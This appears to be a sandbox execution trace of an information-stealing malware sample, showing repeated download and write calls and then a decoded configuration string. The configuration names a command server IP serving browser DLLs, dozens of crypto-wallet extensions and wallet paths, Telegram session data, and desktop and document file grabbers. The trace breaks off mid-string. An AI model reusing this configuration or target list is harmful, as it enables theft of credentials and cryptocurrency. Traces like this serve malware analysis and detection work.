lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.269] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.270] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.270] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.270] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.270] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.270] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.270] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.270] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.270] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.271] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.271] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.271] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.271] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.271] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.271] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.271] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.271] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.272] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.272] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.272] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.272] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.272] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.272] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.272] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.272] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.273] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.273] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.273] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.273] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.273] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.273] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.273] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.273] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.275] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.275] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.275] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.275] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.275] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.275] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.276] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.276] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.276] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.276] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.276] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.276] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.276] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.276] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.276] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.277] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.277] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.277] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.277] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x24f2f8, dwNumberOfBytesToRead=0x800, lpdwNumberOfBytesRead=0x24fb00 | out: lpBuffer=0x24f2f8*, lpdwNumberOfBytesRead=0x24fb00*=0x800) returned 1 [0258.277] WriteFile (in: hFile=0x2b4, lpBuffer=0x24f2f8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x24faf8, lpOverlapped=0x0 | out: lpBuffer=0x24f2f8*, lpNumberOfBytesWritten=0x24faf8*=0x800, lpOverlapped=0x0) returned 1 [0258.504] StrStrW (lpFirst="nss3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/nss3.dll\nlibs_msvcp140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/msvcp140.dll\nlibs_vcruntime140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/vcruntime140.dll\nlibs_mozglue:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll\nlibs_freebl3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll\nlibs_softokn3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="\n") returned="\nlibs_msvcp140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/msvcp140.dll\nlibs_vcruntime140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/vcruntime140.dll\nlibs_mozglue:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll\nlibs_freebl3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll\nlibs_softokn3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0258.505] lstrlenW (lpString="libs_msvcp140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/msvcp140.dll\nlibs_vcruntime140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/vcruntime140.dll\nlibs_mozglue:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll\nlibs_freebl3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll\nlibs_softokn3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension 